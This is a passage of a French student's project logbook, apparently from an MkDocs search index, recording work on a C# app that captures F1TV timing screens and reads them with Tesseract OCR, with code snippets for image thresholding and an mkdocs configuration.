chang\u00e9 pour un autre du m\u00eame type. Et parfois les valeurs de tours faits avec le pneu ne sont pas toujours bien lues et parfois sont compliqu\u00e9es \u00e0 retrouver car tous les pneus ne sont pas neuf quand ils sont chauss\u00e9s. Je crois que la detection de tours et des arr\u00eats aux stands est sur la bonne voie. Le seul soucis que j'ai c'est que pour faire du debug je suis un peu oblig\u00e9 d'attendre pendant 10min si je veux avoir de quoi faire des stats un peu sympa. Je me rend compte que parfois j'obtiens des r\u00e9sultats un peu bizarres mais que c'est la f1TV qui les donne. Par exemple de cas ou Alex Albon n'a que deux tours sur ses pneus alors que tout le monde devant et derri\u00e8re lui en a 3 et que on est au tour 4. \"wtf...?\" Ah et aussi parfois quand les pilotes se d\u00e9passent on se retrouve dans des situations plut\u00f4t rigolotes : \"Wtf...??\" COMMENT JE FAIS POUR DETECTER CA WIONDVIDNJDODVNSDIC Bon je me rend compte que clairement si je veux que mes data soient plus utiles il faudrait que je fasse un tout petit peu plus de taff sur quelques points dans l'OCR. Le nombre de tours des pneus (Les num\u00e9ros sont vraiment mal detect\u00e9s et parfois m\u00eame la couleur est pas dingue) Les 4 qui sont pris pour des 1 ou des 11 (pour les temps et les pneus) apr\u00e8s un test de plus longue haleine je suis content de voir que au moins mon programme peut tourner plus d'une heure sans crasher et qu'il peut \u00eatre fiable quand il veut. Jeudi 18 Mai 2023 Aujourd'hui c'est t\u00e9l\u00e9Travail forc\u00e9 et j'\u00e9tais scens\u00e9 aller au Grand Prix d'Imola ce qui malheureusement ne pourra pas se faire pour des raisons d'inondations. En effet la r\u00e9gion est clairement pas en \u00e9tat de recevoir un Grand Prix de Formule 1 et donc ce weekend c'est maison. Le but du jour c'est d'avancer la doc et de tenter d'am\u00e9liorer l'OCR pour que Lundi il soit relativement facile d'avancer sur l'interface de l'app finale. Je suis en train d'explorer une methode de detection de bords de sobel. Le seul soucis c'est que les r\u00e9sultats sont bons mais avec un vide au milieu des chiffres. Cela veut dire que parfois le temps est mal detect\u00e9. Mais il semble que pour le reste du temps cela se passe plut\u00f4t bien. Ca vaut peut \u00eatre le coup de modifier la gestion des erreurs. \"Artefacts de detection de sobel\" En fait le soucis avec ces artefacts c'est que parfois le temps au tour n'est tout simplement pas detect\u00e9. Dans l'exemple ci dessus, la reconnaissance de caract\u00e8res ne trouve tout simplement rien. Il faut donc que je trouve un moyen de corriger ces soucis. Il semblerait que en appliquant un tresholding un peu plus s\u00e9v\u00e8re en amont on arrive \u00e0 r\u00e9duire les artefacts \"Artefacts all\u00e8g\u00e9s\" ; Je crois qu'il faut faire attention avec les 'Bitmap.save' quand on utilise de l'asynchrone. le GDI+ aime pas des masses. Lundi 22 Mai 2023 BON ! Il ne reste plus beaucoup de temps ! Selon le planning cette semaine est la derni\u00e8re semaine de programmation. Il va donc falloir CHARBONNER !! Il ne me reste plus que une t\u00e2che \u00e0 vraiment faire (\u00e0 part les tests mais euuuu voila bon). J'essaie d'impl\u00e9menter un peu plus d'error handling mais c'est pas facile... Il y a tellement de choses qui peuvent mal tourner c'est infernal. Une chose qui serait bien serait de rajouter des points d'attente variables dans le code de l'emulateur un peu partout pour eviter de se retrouver bloqu\u00e9 \u00e0 chaque fois. L'int\u00e9r\u00eat serait que des gens avec une moins bonne connexion pourraient quand m\u00eame profiter du programme sans qu'il crashe 300 fois. Ce qui est frustrant c'est que va savoir pourquoi, maintenant, on arrive quasi jamais a avoir la page data... Genre sans deconner c'est une fois sur 5 que l'emulateur nous ressort la page Data et pas juste le feed. C'est absolument infernal. Je ne comprends pas pourquoi en plus. L'emulateur arrive bien \u00e0 cliquer sur le bon bouton mais m\u00eame comme ca ca ne veut pas. CA NA AUCUN SENS BORDEL. Sur une image Jjai de supers resultats pour les temps au tour mais d\u00e8s que l'image change PAF plus aucun temps n'est detect\u00e9. Ah non c'est bon c'est juste que VA SAVOIR POURQUOI les images sont en putain de resolution DEGEULASSE. Je ne comprends pas pourquoi ce matin particuli\u00e8rement le projet marche si mal. Par ce que d\u00e8s que l'image revient \u00e0 une r\u00e9solution normale c'est bon. Un autre soucis que j'ai est que je n'arrive pas \u00e0 paralleliser l'OCR ce qui fait que elle peut prendre parfois plus de 15 secondes. Et le probl\u00e8me avec ca c'est que la detection de tours et de pitstop est grandement impact\u00e9e si on a pas assez de data assez souvent. Je vais me focus sur le reste en attendant mais d\u00e8s que M.Bonvin apparait dans les parages je vais devoir l'alpaguer. J'ai ajout\u00e9 la possibilit\u00e9 d'essayer plusieurs fois de trouver le bouton fullscreen et de cliquer dessus plut\u00f4t que d'attendre dix secondes comme un con et esp\u00e8rer que ca fonctionne. Mais si apr\u00e8s 15 secondes d'essais il n'y arrive pas cela fait quand m\u00eame p\u00eater une erreur. Je pense que je vais m'occuper de la page de configuration maintenant. Voici \u00e0 quoi ressemblait la page de settings ce matin quand je suis arriv\u00e9. \"Ancienne page de settings\" Comme je pense que l'UI de cette page ne va pas vraiment changer d'ici la fin du projet je peux me permettre de lui faire une petite beaut\u00e9 car apr\u00e8s je ne pense pas y retoucher. Pour ca j'ai plusieurs \u00e9tapes comme choisir une palette de couleur, retirer l'inutile et choisir judicieusement le placement des items sur la form pour que cela soit le plus intuitif possible. J'y pense, il fuadrait peut-\u00eatre que je me trouve un logo ca pourrait rendre bien. Voila alors j'ai chang\u00e9 un tout petit peu ce \u00e0 quoi ressemble la page de settings et j'ai ajout\u00e9 du responsive pour que le user puisse mettre l'application en plein \u00e9cran. \"Nouvelle page de configuration\" Mais il manque un peu de couleurs et de d\u00e9tails pour que cela rende vraiment bien. Et apr\u00e8s quelques tentatives on se retrouve avec une page plut\u00f4t sympa je trouve : \"Nouvelle page de config\" Et elle est responsive : \"Nouvelle page de config en plein \u00e9cran\" Et j'ai fait quelques changements pour ce qui est des zones qui s'affichent pour qu'on les voie mieux. \"Nouvelle page de config en action\" Je trouve que franchement ca rend pas mal. Le reste de l'app sera dans ce style. J'ai mis pas mal de temps \u00e0 cr\u00e9er cette page, mais je pense que c'est important que la page de config soit propre. Et en plus tout le temps que j'ai pass\u00e9 ici n'est pas perdu car ensuite j'aurai simplement \u00e0 suivre les m\u00eames directives de style pour le reste de l'UI. Il faut aussi savoir que Windows Form n'est ps forc\u00e9ment le meilleur outil pour travailler avec le design. Truc tout b\u00eate par exemple qui m'a fait perdre 30 minutes. Il est impossible de retirer les bordures des objets \"GroupBox\". Ce que j'ai donc du faire ca a \u00e9t\u00e9 de dessiner un rectangle autour de la couleur du background pour que l'on ne voit plus les bordures et ensuite j'ai du redessiner le texte pour qu'il puisse s'afficher quand m\u00eame. C'est pleins de petites choses comme ca qui sont plut\u00f4t p\u00e9nibles et qui font perdre du temps mais je pense que c'est rentable de s'y attarder. Maintenant ce que je vais faire aujourd'hui et demain c'est l'affichage general de l'app. Je pense que je vais commencer par mettre des placeholder de l'app finale comme ca je saurai quoi implementer comme methodes de r\u00e9cup\u00e8ration demain. J'aimerais quand m\u00eame faire une interface sympa m\u00eame si les data sont pas parfaites. Par ce que je me dis que au pire si je montre une interface qui donne des infos inexacte mais qui a la bonne logique c'est toujours mieux que de ne pas montrer ce que ca pourrait faire avec des donn\u00e9es un peu plus int\u00e8gres. Autre point \u00e0 noter, je me suis rendu compte que ca pourrait \u00eatre potentiellement pas mal de trouver un moyen rapide de lancer l'appli avec un Grand Prix. Genre permettre de selectionner le preset et l'URL du Grand Prix sans avoir \u00e0 passer par la page de configuration. Je me suis rendu compte que c'\u00e9tait super chiant de devoir \u00e0 chaque fois le faire (m\u00eame si je me rends compte que normalement un user ne devrait pas lancer l'app autant) Voila ue premi\u00e8re version de l'App avec tous les placeholders : \"Premi\u00e8re version de la page principale\" Et c'est tout pour aujourd'hui ! Ce fut une journ\u00e9e remplie. Mardi 23 Mai 2023 Aujourd'hui le but c'est de remplir le framework de hier avec les bonnes Data. Je ne sais pas si je peux tout finir en un jour mais on va essayer. Bon j'ai eu une discussion anim\u00e9e avec M.Bonvin et il semble que je sois oblig\u00e9 de refaire \u00e0 peu pr\u00e8s tout mon code pour le rendre ne serait-ce qu'un peu optimis\u00e9. Bon au final j'ai perdu 6H de travail \u00e0 tenter de convertir mon code dans une version un peu plus optimis\u00e9e... Mais je me rend compte que c'est juste impossible... Il me faudrait au moins plusieurs jours pour faire correctement ce refactor et donc je vais tout simplement faire un git restore... C'est extr\u00eament frustrant mais bon... Pas le choix il semble. J'ai du \u00e9crire au moins 600 lignes de code et tout pars en fum\u00e9e. C'est une d\u00e9bauche d'\u00e9nergie absolument ph\u00e9nomenale. Apr\u00e8s ca valait le coup de tenter je pense. (J'ai envie de mourir) EN FAIT C'EST BON !! Il fallait juste que je croie en mon code original !!! J'ai r\u00e9ussi \u00e0 paralelliser mon ancien code. Il ne manquait presque rien mais M.Bonvin voulait absolument que je change le reste. Maintenant j'ai une detection qui se fait en quelques secondes c'est genial. Mercredi 24 Mai 2023 Alors hier je n'ai pas bien eu le temps d'expliquer ce que voulait que M.Bonvin. En fait mon programme actuellement utilise un d\u00e9coupage qui peut par\u00e2itre complexe. Et de par sa nature, il pensait qu'il \u00e9tait simplement impossible de paralelliser le traitement car trop complexe et trop couteux. Il voulait donc que je passe sur un traitement plus simple. L'id\u00e9e \u00e9tait que on s'occupe dabord de faire une liste de toutes les Windows et de les traiter toutes \u00e0 la fois pour \u00e9viter que les boucles soient trop complexes. Sauf que pour impl\u00e9menter un truc pareil c'est \u00e9norm\u00e9ment de code car cela va \u00e0 l'encontre totale de la facon dont mon projet fonctionne actuellement. Mais comme j'\u00e9tais ouvert \u00e0 d'autres solutions. J'ai pass\u00e9 six heures \u00e0 tenter de l'impl\u00e9menter. Il en aurait fallu au minimum deux jours soyons clair. Et en fait on s'est retrouv\u00e9s devant pleins de probl\u00e8mes qui ne se posent pas dans mon architecture originale. Par exemple. On a pas trouv\u00e9 de methode simple pour d\u00e9couper les images des fen\u00eatres de mani\u00e8re thread safe. Il aurait donc fallu ajouter des boucles en pr\u00e9alable pour tout d\u00e9couper et le faire de mani\u00e8re s\u00e9quencielle. Ensuite vient le probl\u00e8me que si on traite toutes les donn\u00e9es dans des boucless paralelle on perds leur position originale donc il faut faire une classe pour stocker les r\u00e9sultats temporaires. Il y a aussi le soucis que les Windows ont certe une position mais elle est relative au parent et \u00e0 l'image parente. Donc il faudra faire un syst\u00e8me qui convertis les windows en position absolue sur l'image. Ca peut para\u00eetre \u00eatre de simples changements mais deja il y en a pas mal d'autres et franchement m\u00eame si l'id\u00e9e originale aurait pu simplifier les choses. Les sacrifices que l'on doit faire pour la faire marcher sont juste trop moches et \u00e0 mon avis ne sont pas du tout aussi logiques que mon d\u00e9coupage original. Cette exp\u00e9rience m'a quand m\u00eame permis de me rendre compte des endroits dans mon code qui sont plus ou moins difficile \u00e0 maintenir et cela m'a fait me rendre compte que ma solution n'\u00e9tait pas forc\u00e9ment la plus simple pour tout le monde mais que mine de rien elle peut \u00eatre efficace. La je suis en train de rajouter les routes pour la vue. Je me suis dit que ca serait une bonne id\u00e9e de permettre aux users de cliquer sur un pilote pour avoir ses infos. Mais je me suis dit que ce qui serait encore plus cool serait de pouvoir cliquer sur un des temps au tour d'un pilote et qu'une petite fen\u00eatre s'ouvre pour indiquer les temps par secteurs. Mais en faisant ca je me rends compte qu'il y a quelques soucis dans la facon que je conserve les infos dans la DB et je peux voir directement quand la reconnaissance a du mal avec certains pilotes ou des positions. Ca arrive plus souvent que ce que je voudrais que un pilote soit mal detect\u00e9. Mais ce qui est dr\u00f4le c'est que c'est parfois sur une deux voire trois reconnaissance que le pilote n'est plus reconnu mais ensuite tout va bien. Il faut que je travaille un peu plus sur le filtrage de ces donn\u00e9es limites et peut-\u00eatre de voir si la reconnaissance de la position pourrait \u00eatre un peu v\u00e9rifi\u00e9e. Bon pour \u00eatre honn\u00eate je ne pense pas que le code qui concerne l'affichage soit le meilleur code que j'aie pu produire dans ma vie de d\u00e9veloppeur mais en m\u00eame temps je n'ai pas forc\u00e9ment le temps de le rendre magnifique. La le but est simplement que tout marche. (Et c'est un peu la m\u00eame phylosophie dans tout le reste du projet lol) Demain il me reste pas mal de choses \u00e0 faire et c'est la derni\u00e8re journ\u00e9e ou je peux les faire. Rendre la form plus jolie et changer les couleurs Rendre la form Responsive Ajouter les bons messages d'erreur qui vont bien Modifier les messageBox d'erreur pour qu'elles soient plus agr\u00e9ables \u00e0 utiliser Clean un peu le code mod\u00e8le vue controller Si j'ai le temps ajouter les bons commentaires les bonnes ent\u00eates partout Jeudi 25 Mai 2023 Bon bah le but aujourd'hui c'est de finaliser un peu le projet car la semaine prochaine c'est doc. Pas grand chose \u00e0 dire. J'ai pass\u00e9 la journ\u00e9e \u00e0 fix des petits bugs par ci par la. Voici des exemples de ce \u00e0 quoi ressemble l'app \u00e0 la fin de la journ\u00e9e : \"Screenshot de la page principale\" \"Screenshot de la page principale\" On se rend jamais compte mais c'est tellement long de r\u00e8gler chaque petit soucis un par un. Il y a tellement de possibilit\u00e9s de choses qui peuvent mal tourner ou qui ont un comportement diff\u00e9rent selon l'ordre dans lequel on fait les choses. Mais dans l'ensemble, m\u00eame si on est pas sur la meilleure interface que l'on aie vu dans l'histoire. Je trouve que elle fait quand m\u00eame le taff. Vendredi 26 Mai 2023 Aujourd'hui c'est d\u00e9part pour Monaco mais comme l'avion etait bien en retard j'ai pu avancer sur le nettoyage du code. Grand Prix de Monaco [Insert photos] Lundi 29 Mai 2023 Mon vol pour Geneve hier soit a \u00e9t\u00e9 annul\u00e9 et je dois donc prendre une deviation car tous les vols pour Geneve sont pleins. Je dois partir a 7h30 pour prende l'avion de 9H pour Nantes et de la bas je dois prendre un avion \u00e0 17h pour arriver \u00e0 18h30 \u00e0 l'a\u00e9roport de Geneve. C'est pas pratique car j'avais pr\u00e9vu d'avancer aujourd'hui et je suis oblig\u00e9 d'avancer comme je peux dans l'a\u00e9roport. J'avance encore sur le nettoyage rapide du code. Le but est que demain je puisse sortir la premi\u00e8re release en Beta et que je mette vraiment serieusement \u00e0 la Documentation. M.Jayr m'a \u00e9galement demand\u00e9 de lui donner le document d'\u00e9valuation interm\u00e9diaire. Il ne faut pas que j'oublie demain. J'ai mis des notes sur mon code au cas ou des gens viennent \u00e0 le lire. J'y d\u00e9cris les choses que j'aurais fait diff\u00e9remment ou qui pourraient para\u00eetre bizarre au tout venant. Mardi 30 Mai 2023 Bon aujourd'hui je dois encore avancer sur la partie nettoyage de code et avant de sortir la premi\u00e8re release Beta je vais tenter d'installer le projet sur un autre pc pour voir ce que je n'ai pas mentionn\u00e9 dans mon ReadMe. Bon j'ai pu rendre \u00e0 M.Jayr mon evaluation interm\u00e9diaire et j'ai fait les derni\u00e8res modifications sur le projet pour que je puisse sortir une release correcte. Maintenant je vais me mettre \u00e0 la documentation. Il va falloir que je revoie ce que j'ai d\u00e9ja \u00e9crit en ce qui concerne l'OCR car j'ai fait des modifications depuis et j'ai ajout\u00e9 la methode de SOBEL. Il faut peut-\u00eatre aussi que je parle vite fait dans la partie Emulation que j'ai du changer les variables d'environnement pour faire fonctionner le syst\u00e8me en 4K. Mercredi 31 Mai 2023 Doc Jeudi 1 Juin 2023 Bon je me suis rendu compte que je n'avais fait vraiment aucuns tests et que c'est franchement bof. Je pense que ce que je devrais faire pour faire des tests unitaires c'est prendre des exemples de chaque type de windows possibles en plusieurs exemplaires. Ensuite je note le r\u00e9sultat que j'attends et je regarde si ca me retourne la bonne valeur. Mais ca veut dire que ca va me prendre pas mal de temps de tout mettre en place mais ca m'aurait s\u00fbrement fait gagner beaucoup de temps si je l'avais fait d\u00e8s le d\u00e9but... Je pense que une bonne id\u00e9e serait de prendre trois Grand Prix et de prendre une photo de chaque type de window au d\u00e9but et \u00e0 la fin. Plus je regarde plus je me rend compte que ce pojet aurait carr\u00e9ment du \u00eatre en TDD (Test Driven Developement) par ce que ca m'aurait fait gagner un temps FOU. OK JE SUIS DEBILE POURQUOI J'AI PAS FAIT CA PLUS T\u00d4T ??? En fait ce que j'aurais du faire c'est prendre de gros \u00e9chantillons de toutes les types de windows et j'aurais un parfait framework pour savoir si j'ai am\u00e9lior\u00e9 mon OCR ou non. Voici les exemples que je vais utiliser pour verifier le bon fonctionnement de l'OCR : \"Dataset Ecarts\" ; \"Dataset Tours\" ; \"Dataset Noms\" ; \"Dataset Positions\" ; \"Dataset Sectors\" ; \"Dataset Tyres\" ; Je pense que c'est un set assez correct car j'ai essay\u00e9 de prendre un peu tous les cas possibles. Le seul qui m'inqui\u00e8te un peu c'est celui des pneus mais bon. C'est aussi celui qui m'inqui\u00e8te le plus en temps normal. Non mais c'est juste g\u00e9nial les tests en fait... j'avais pas vu que parfois ma detection de GAP TO LEADER comprenait le \"+1:34.567\" en \"61:34.567\" car le '+' \u00e9tait interpr\u00eat\u00e9 comme un 6. Sans les tests je ne m'en serais pas rendu compte. Ce qui est g\u00e9nial c'est que ca veut dire que si je veux am\u00e9liorer mon OCR j'ai juste \u00e0 mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule. Vendredi 2 Juin 2023 Aujourd'hui c'est de nouveau doc. Mais la je pense qu'il faut que je rajoute une rubrique \"Fonctionnement g\u00e9n\u00e9ral\" qui r\u00e9sume tr\u00e8s simplement toutes les \u00e9tapes du projet avec un bon diagramme. En fait c'est beaucoup plus dur que ce que je pensais de faire un bon diagramme qui explique tout sans \u00eatre illisible. J'ai mis une heure trente \u00e0 faire celui la : \"Diagramme fonctionnement g\u00e9n\u00e9ral\" J'ai pris pas mal de temps aussi \u00e0 faire ces trois autre diagrammes un peu plus graphiques qui montrent de mani\u00e8re un poil plus abstraite le fonctionnement des trois grosses parties du projet. \"Diagramme recup\u00e9ration d'images\" \"Diagramme OCR\" \"Diagramme Traitement\" Je pense qu'ils sont un peu plus faciles \u00e0 comprendre que le gros diagramme g\u00e9n\u00e9ral. Ce que je me dis c'est que je vais faire une section fonctionnement g\u00e9n\u00e9ral ou je vais expliquer les trois parties avec les petits diagramme et r\u00e9sumer avec le grand diagramme.","title":"Journal de bord"},{"location":"jdb.html#journal-de-bord","text":"","title":"Journal de bord"},{"location":"jdb.html#mercredi-29-mars-2023","text":"Premier jour du travail de dipl\u00f4me. Nous avons eu un briefing de mr Garcia et nous avons pu commencer \u00e0 pr\u00e9parer le travail. Nous avons eu les diff\u00e9rents fichiers nescessaires \u00e0 la bonne r\u00e9alisation du projet et je me suis mis \u00e0 faire les fichiers nescessaires La premi\u00e8re chose a \u00e9t\u00e9 de faire ce mkdocs dans lequel j'ai mis un fichier yml plut\u00f4t standart qui risque de changer au fur et \u00e0 mesure. Voici le premier yml : site_name: Documentation Diplome theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html plugins: - glightbox - with-pdf Voici un example de \u00e0 quoi ca ressemble en forme de site \"Exemple mkdocs\" Ensuite il m'a fallu faire une version plus \u00e0 jour de mon cahier des charges car je n'y avait pas touch\u00e9 depuis novembre. J'ai envoy\u00e9 un mail \u00e0 mes enseignants pour qu'ils puissent y jeter un oeuil pour \u00eatre s\u00fbr que je n'ai rien chang\u00e9 qui les d\u00e9rangent. Monsieur Jayr m'a demad\u00e9 \u00e0 l'occasion de lui faire un planning type Gantt alors je me suis mis \u00e0 la t\u00e2che. J'ai fait un planning pr\u00e9visionnel et une l\u00e9gende les deux sont dispo dans le dossier planning de ce repertoire. Ensuite je me suis mis \u00e0 tout mettre sur git. A commencer par ce repertoire Et c'est deja la fin de la journ\u00e9e ! Demain j'avance un peu sur la doc avec ce que je peux d\u00e9ja remplir et je finis de pr\u00e9parer ce dont j'ai besoin pour commencer \u00e0 coder.","title":"Mercredi 29 Mars 2023"},{"location":"jdb.html#jeudi-30-mars-2023","text":"Aujourd'hui selon le planning je dois me charger des dernirers pr\u00e9paratifs pour commencer correctement. J'ai fait expr\u00e8s de prenre du temps pour ca au d\u00e9but pour ne pas me cr\u00e9er de soucis plus loin pendant le travail. Je vais envoyer par mail le planning que j'ai fait \u00e0 mes suiveurs. Ensuite je vais m'attaquer au squelette de la docmentation. Je vais essayer de remplir tout ce que je peux remplir dans un premier temps car cela tout ca de fait pour plus tard quitte \u00e0 modifier quelques aspects au fur et \u00e0 mesure. J'ai aussi d\u00e9sactiv\u00e9 mkdocs with pdf par ce que les r\u00e9sultats ne sont vraiment pas ceux que j'attends et cela ralentis \u00e9norm\u00e9ment le d\u00e9ploiment. J'ai aussi rassembl\u00e9 mes croquis pour le poster : \"Croquis Poster 1\" \"Croquis Poster 2\" On peut voir que dans un premier temps j'ai tent\u00e9 de faire un poster un peu plus stylis\u00e9 et marketing. Cependant apr\u00e8s avoir discut\u00e9 avec Mr Garcia et diff\u00e9rents profs dont un de l'HEPIA et ils m'ont indiqu\u00e9 que ce qui \u00e9tait attendu \u00e9tait moins du marketing qu'un diagramme de fonctionnement. On peut voir sur les derniers posters que le cot\u00e9 technique ressort de plus en plus. Le but sera de faire une version encore plus technique ou on peut voir les diff\u00e9rents fonctionnements de l'application avec les technologies utilis\u00e9es. Le d\u00e9fi cela va \u00eatre de faire un joli poster qui soit en m\u00eame temps vendeur et en m\u00eame temps rempli techniquement. Oh et j'ai eu un probl\u00e8me ou mon calvier et ma souris ne voulaient d'un coup plus fonctionner. Dans mon cas c'\u00e9tait un probl\u00e8me de power management des ports. J'ai eu le soucis sur mon pc fixe \u00e0 la maison et sur mon pc portable \u00e9galement. En gros de ce que j'ai compris le soucis c'est que le pc croit que un port est trop solicit\u00e9 niveau puissance et du coup d\u00e9cide de couper l'alimentation du port USB. J'ai pu r\u00e8gler le soucis en allant dans le device manager sous universal bus controller sous power management et en d\u00e9cochant la case qui indique que windows peut d\u00e9sactiver ce port. Je ne conseille pas ce fix si vous avez des composants de mauvaise qualit\u00e9 car cela pourrait \u00eatre une vraie alerte cependant le fait que mes composants sont plut\u00f4t haut de gamme et le fait que mon clavier et ma souris le fassent en m\u00eame temps et que ils fonctionnaient tr\u00e8s bien depuis plus de 4 ans me font penser que c'est juste une nouvelle mise a jour de windows qui est p\u00e9nible. Demain je vais pouvoir commencer \u00e0 coder pour de bon.","title":"Jeudi 30 Mars 2023"},{"location":"jdb.html#vendredi-31032023","text":"Aujourd'hui on s'occupe de la PT2 qui est la programmation de la r\u00e9cup\u00e8ration des informations des images. Je vais tester IronOcr Source : https://www.c-sharpcorner.com/article/ocr-using-tesseract-in-C-Sharp/ Doc : https://ironsoftware.com/csharp/ocr/docs/ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesseract/ Avant d'utiliser la librairie je me demande si je dois utiliser un peu de post processing pour aider \u00e0 la reconnaissance. Je peux soit utiliser l'image crop\u00e9e directement : \"Image non trait\u00e9e\" Soit avec un filtre pour passer en noir et blanc laxiste \"Image trait\u00e9e laxiste\" Soit avec un filtre pour passer en noir et blanc stricte \"Image trait\u00e9e stricte\" Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace. Bon malheureusment Iron OCR semblait \u00eatre une bonne alternative mais c'est une librairie priv\u00e9e qui demande une license pour \u00eatre utilis\u00e9e. Il va falloir trouver autre chose. En utilisant la librairie \"Tesseract\" qui existe on peut faire de la reconnaissance de texte avec un code plut\u00f4t simple : TesseractEngine engine = new TesseractEngine ( tessDataFolder . FullName , \"eng\" , EngineMode . Default ); var tessImage = Pix . LoadFromMemory ( ImageToByte ( sample )); Page page = engine . Process ( tessImage ); string text = page . GetText (); Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array public static byte [] ImageToByte ( Image img ) { using ( var stream = new MemoryStream ()) { img . Save ( stream , System . Drawing . Imaging . ImageFormat . Png ); return stream . ToArray (); } } Voici le code pour traiter plusieurs textes sur une seule image : Page page = engine . Process ( tessImage ); // Get the iterator for the page layout using ( var iter = page . GetIterator ()) { // Loop over the elements of the page layout iter . Begin (); do { // Declare a Rect variable to hold the bounding box Rect boundingBox ; // Get the bounding box for the current element if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { g . DrawRectangle ( Pens . Red , new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } // Get the text for the current element var text = iter . GetText ( PageIteratorLevel . Word ); tbxResult . Text += text . ToUpper () + Environment . NewLine ; } while ( iter . Next ( PageIteratorLevel . Word )); } Etonnament, avec plus de texte, des noms qui \u00e9taient autrefois mal reconnus sont parfaitement interpr\u00eat\u00e9s. Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes : \"Screenshot de reconnaisance d'image complete\" On voit que le nom Leclerc est mal reconnu. Mais voici ce que cela donne quand on prend une image qui ne contient que le nom Leclerc : \"Screenshot de reconnaissance d'image crop\u00e9e\" On voit ici que le nom Leclerc est tr\u00e8s bien reconnu. Dans le premier exemple on peut voir que Tsunoda est reconnu comme \"Reticin\" ce qui n'est pas exactement pareil (lol) Et quand on isole le nom Tsunoda dans une image seule : \"Screenshot de reconnaissance de Tsunoda\" Il le lit \"RETLELYY\" ce qui n'est toujours pas exactement ca... Une meilleure r\u00e9solution pourrait peut-\u00eatre r\u00e9soudre le probl\u00e8me en partie. Jusqu'ici les images \u00e9taient en presque 720P ce qui donne ceci : \"Tsunoda en 720P\" Et j'ai lanc\u00e9 une r\u00e9cup\u00e8ration d'images en 1080p pour r\u00e9cup\u00e8rer ceci : \"Tsunoda en 1080P\" On peut voir une certaine diff\u00e9rence tout de m\u00eame. Et quand on lance la reconnaissance : \"Reconnaissance Tsunoda en 1080P\" \"Tsunoda n'est plus \u00e9crit \"RETLELYY\" mais \"TSUNDDA\" ce qui n'est pas parfait mais qui est d\u00e9ja beaucoup mieux. J'ai essay\u00e9 de mettre l'engine de Tesseract en mode \"JPN\" comme Tsunoda est un nom japonais mais sans succ\u00e8s j'ai le m\u00eame r\u00e9sultat. Comme la r\u00e9solution est meilleure je me suis dit que peut \u00eatre le filtre de passage en noir et blanc pourrait aider. J'ai \u00e9crit cette petite methode pour convertir l'image en noir et blanc : private static Bitmap ConvertToBlackAndWhite ( Bitmap inputBmp ) { const int BLACK_TO_WHITE_TRESHOLD = 200 ; Bitmap result = new Bitmap ( inputBmp . Width , inputBmp . Height ); for ( int y = 0 ; y < inputBmp . Height ; y ++) { for ( int x = 0 ; x < inputBmp . Width ; x ++) { Color pixelColor = inputBmp . GetPixel ( x , y ); if ( pixelColor . R <= BLACK_TO_WHITE_TRESHOLD && pixelColor . G <= BLACK_TO_WHITE_TRESHOLD && pixelColor . B <= BLACK_TO_WHITE_TRESHOLD ) { pixelColor = Color . FromArgb ( 0 , 0 , 0 ); } else { pixelColor = Color . FromArgb ( 255 , 255 , 255 ); } result . SetPixel ( x , y , pixelColor ); } } return result ; } Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement. J'ai dabord test\u00e9 avec un treshold de 100 et le programme a r\u00e9ussi \u00e0 me sortir Tsunoda en deux mots ce qui \u00e9tait d\u00e9ja tr\u00e8s encourageant. Et apr\u00e8s avoir augment\u00e9 le Treshold... Tada : \"Tsunoda 1080P avec filtre\" Le programme arrive bien \u00e0 reconnaitre TSUNODA. Je pense que cette tactique ne fonctionnait pas avant car la resolution \u00e9tait trop faible et l'aliasing se m\u00ealait trop avec le texte pour \u00eatre utilisable. Cependant cette technique ne fonctionne pas sur tous les noms. Par example avec Leclerc : \"Leclerc 1080P avec filtre\" On r\u00e9cup\u00e8re \"Leeler'c\" ce qui n'est pas bon du tout. Mais en modulant le Treshold (ici \u00e0 150) On peut de nouveau voir Leclerc \u00eatre reconnu correctement \"Leclerc 1080P avec filtre 2\" Je pense que pour avoir de bons r\u00e9sultats il va falloir faire un algo qui : D\u00e9coupe l'image en autant de plus petites images pour avoir un mot par image. Teste voir si avec l'image originale un nom correspond \u00e0 la liste de pilotes existant. Si cela ne marche pas, on applique le filtre en modulant le Treshold. Dans le cas ou on aurait pas un match parfait on fait un algo qui cherche le nom le plus proche qui existe dans la liste de noms donn\u00e9s. Seulement voila, il n'y a pas que des lettres que l'on veut r\u00e9cup\u00e8rer. On veut surtout pouvoir r\u00e9cup\u00e8rer les chiffres. Pour les chiffres on va avoir des soucis \u00e9galement... Si on essaie directement la m\u00eame technique sans filtre on a des r\u00e9sultats comme celui ci : \"Tentative de reconnaisance du timing\" La virgule a tendeance \u00e0 se barrer ce qui est particuli\u00e8rement probl\u00e9matique. Cependant comme les chiffres ont beaucoup moins de possibilit\u00e9es que les lettres et qu'il n'y a pas de probl\u00e8me de langue on devrait pouvoir travailler \u00e0 faire des r\u00e8glage que l'on pourra ensuite utiliser. Avec un Treshold de 165 on arrive presque \u00e0 quelque chose d'int\u00e9ressant : \"Tentative 2 de reconnaissance du timing\" Le + n'est clairement pas compris mais ca n'est pas emb\u00eatant car c'est souvent redondant. On arrive cependant \u00e0 isoler 3 et 259. M\u00eame si la virgule n'est pas comprise cela veut dire qu'il est tout de m\u00eame possible de discriminer les secondes des milisecondes. Maintenant avec un temps au tour : \"Reconnaissance du timing au tour\" On arrive sans rien changer aux param\u00eatres \u00e0 isoler minutes secondes et milisecondes. Il semble que la reconnaissance de chiffre soit bien plus efficace que la reconnaissance de lettres. Il va falloir faire un test \u00e0 plus grande \u00e9chelle avec plus d'image pour se rendre compte de la precision. Demain ce qui serait bien cela serait que je fasse un jeu d'images avec des valeurs connues et que je fasse une batterie de tests pour voir \u00e0 quel point je peux faire confiance 